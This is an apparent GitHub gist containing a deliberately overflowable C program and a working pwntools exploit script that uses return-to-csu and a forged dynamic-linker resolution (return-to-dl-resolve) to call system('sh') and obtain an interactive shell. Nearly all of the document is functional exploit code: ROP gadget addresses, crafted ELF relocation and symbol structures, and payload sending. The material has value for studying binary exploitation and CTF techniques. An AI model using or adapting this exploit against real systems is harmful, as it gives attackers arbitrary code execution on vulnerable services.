Skip to content

Instantly share code, notes, and snippets.

@Jinmo
Last active October 10, 2018 20:24
Show Gist options
  • Save Jinmo/7208f25b1f8edbc72f8259fb99c23cbe to your computer and use it in GitHub Desktop.
Save Jinmo/7208f25b1f8edbc72f8259fb99c23cbe to your computer and use it in GitHub Desktop.
32/64bit return-to-dl-resolve, when libc is known. couldn't find original article, so rewrote it from memory.. will add link if found.
// gcc % -fno-stack-protector
#include <unistd.h>
int main() {
char buf[16];
read(0, buf, 0x10000);
return 0;
}
from pwn import *
# PoC to call system() from read GOT
# Assume we have libc binary, and binary is partial relro
# given buf nearby any library pointer (ex. got), we can run &(the pointer + input).
r = remote('0.0.0.0', 31338)
read_got = 0x601018
dl_runtime_resolve = 0x4003f6
poprdi = 0x4005b3
csu_pop = 0x4005aa
csu_call = 0x400590
link_map = read_got
buf = read_got + 64
sizeof_rela = 24
sizeof_dyn = 16
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
cmd = 'sh\x00'
# l_info (STRTAB = &readable, SYMTAB=ours, JMPREL=can be original if using GOT, else ours)
stage2 = p64(0) * 5 + p64(buf) + p64(buf + 8 * 0x18 + sizeof_dyn + sizeof_rela) + p64(0) * (0x17 - 7) + p64(buf + 8 * 0x18)
# Elf64_Dyn for JMPREL - original one can be used
stage2 += p64(0) + p64(buf + 8 * 0x18 + sizeof_dyn)
# --> Elf64_Rela (&writable. &system will be written to address, 7, <anything>)
stage2 += p64(libc.bss(0) - libc.symbols['read']) + p64(7) + p64(0)
# Elf64_Dyn for SYMTAB - must point ours
stage2 += p64(0) + p64(buf + 8 * 0x18 + sizeof_dyn + sizeof_rela + sizeof_dyn)
# --> Elf64_Sym (st_other & 0xf != 0)
stage2 += p32(0) + p8(18) + p8(0xff) + p16(0) + p64(-libc.symbols['read'] + libc.symbols['system'] & (2 ** 64 - 1)) + p64(0)
stage2 += cmd # if the binary doesn't have "sh" string
payload = 'A' * 16 + p64(0)
# return-to-csu: read(0, buf, len(stage2))
payload += p64(csu_pop) + p64(0) + p64(1) + p64(read_got) + p64(len(stage2)) + p64(buf) + p64(0) + p64(csu_call)
payload += p64(0) * 7
# system("sh"), but &system with dl-resolve
payload += p64(poprdi) + p64(buf + len(stage2) - len(cmd)) + p64(dl_runtime_resolve)
payload += p64(link_map) + p64(0)
r.send(payload)
pause()
r.send(stage2)
time.sleep(1)
r.sendline('id')
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment